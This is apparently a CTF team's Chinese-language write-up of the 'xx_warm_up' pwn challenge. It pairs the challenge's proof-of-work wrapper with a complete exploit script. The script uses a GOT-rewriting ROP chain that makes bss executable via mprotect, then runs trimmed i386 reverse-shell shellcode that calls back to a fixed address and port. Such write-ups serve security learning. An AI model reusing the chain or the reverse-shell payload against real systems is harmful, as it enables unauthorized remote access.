[Pwn] xx_warm_up cpt.shao xp0int Posted on May 27 2019 简单栈溢出,但是输入在程序参数处,而且没有交互shell,所以要不就反弹shell,要不就直接读取flag了。 找到两条比较神奇的gadget可以直接往got上加偏移,不需要任何泄露,可以把__libc_start_main的got表项改成mprotect,接着就能做rop解开bss的执行权限了。 输入的shellcode decode以后会出现在bss段,位置都是固定的可以直接跳,问题就是字节数限制比较死。尝试cat flag不行,然后列目录shellcode发现flag放在了一个超级长的目录底下,直接cat shellcode长度也不满足。试了删减cat flag的shellcode发现减不动。 最后还是找了个68byte的反弹shellcode,借助寄存器上残留的值硬生生删成了61byte,反弹到远程服务器getshell。 ## pow.py ```python #!/usr/bin/python -u # encoding: utf-8 import random, string, subprocess, os, sys from hashlib import sha256 from pwn import * os.chdir(os.path.dirname(os.path.realpath(__file__))) def proof_of_work(): chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16)) sys.stdout.write(chal + "\n") sys.stdout.flush() sol = sys.stdin.read(4) if len(sol) != 4 or not sha256(chal + sol).hexdigest().startswith('00000'): exit() def read_until(fd, max_sz, end_ch = None): data = '' while len(data) < max_sz: try: tch = fd.read(1) except Exception, e: break if end_ch != None and tch == end_ch: break if tch == '': break data += tch #print data return data def exec_serv(name): p = subprocess.Popen(name, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) sys.stdout.write(read_until(p.stdout, 0x100)) sys.stdout.flush() import os,sys,signal,logging class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) import string def checkInput(data): pattern = string.digits + string.ascii_letters for ch in data: if ch not in pattern: return False return True if __name__ == '__main__': sys.stdout = Unbuffered(sys.stdout) interact_timeout = 120 #set alarm 60s and change workdir signal.alarm(interact_timeout) proof_of_work() input_data = read_until(sys.stdin, 0x100, '\n') if checkInput(input_data) == True: print "HERE" print hexdump(input_data) exec_serv('./xx_warm_up ' + input_data) else: print "bad input" ``` ## exp.py ```python from pwn import * import re from pwnlib.util.iters import * import string from hashlib import sha256 context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'i386' context.log_level = "debug" libc = ELF('/lib/i386-linux-gnu/libc.so.6') distance = libc.symbols['mprotect'] - libc.symbols['__libc_start_main'] print("distance: 0x%x" % distance) # 0x08048436 : add dword ptr [ebx + 0x453bfc45], ecx ; adc byte ptr [esi - 0x70], bh ; leave ; ret # 0x080485b6 : popal ; cld ; ret # p/x 0x804a00c-0x453bfc45=0xc2c8a3c7 # p/x 0xf7ede660-0xf7e02d90 = 0xdb8d0 mprotect-__libc_start_main rop =[ 0x080485b6, # popal 0x6e69622f, # edi 0x804a040+0x70, #esi 0x804a040+0x24, #ebp 0x68732f2f, # 0xc2c8a3c7, #ebx 0, #edx distance, #ecx 0x66, #eax 0x08048436, # add gadget, change got 0x80482c0, #libc_start @ plt 0x804a084, 0x804a000, # mmap start 0x001000, 7, ] def complie_chain(chain): payload = "" for addr in chain: h = "{:08x}".format(addr) h = h[::-1] payload += h[0:2][::-1] + h[2:4][::-1] + h[4:6][::-1] + h[6:8][::-1] return payload def compile_sc(sc): payload = "" for c in sc: payload += "{:02x}".format(ord(c)) return payload def do_chal(): chal = p.readline()[:-1] print hexdump(chal) def fun1(s): return sha256(chal+s).hexdigest().startswith('00000') ans = mbruteforce(fun1, string.letters+string.digits, 4) raw_input('chanl?') p.send(ans) sc = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" +\ "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd" +\ "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01" +\ "\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1" +\ "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b" +\ "\x5b\x52" + "\x83\xec\x04\x57" +\ "\x89\xe3\xcd\x80" # sc = "\x90"*10 + asm(shellcraft.i386.linux.echo("test") + shellcraft.i386.linux.exit(0)) second_part = compile_sc(sc) first_part = complie_chain(rop) print "first: %d" % len(first_part) print "second: %d" % len(second_part) print hexdump(first_part) s = first_part.ljust(128, "0") s += complie_chain([0x804a044]) s += second_part print "s: %x" % len(s) print hexdump(s) if len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) do_chal() elif len(sys.argv) == 1: # p = gdb.debug(["./xx_warm_up", s], "b* 0x80485af\n") p = process(['./xx_warm_up', s]) p.sendline(s) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Web] 高明的黑客 - LanceaKing [Pwn] trywrite -cpt.shao
没有帐号? 立即注册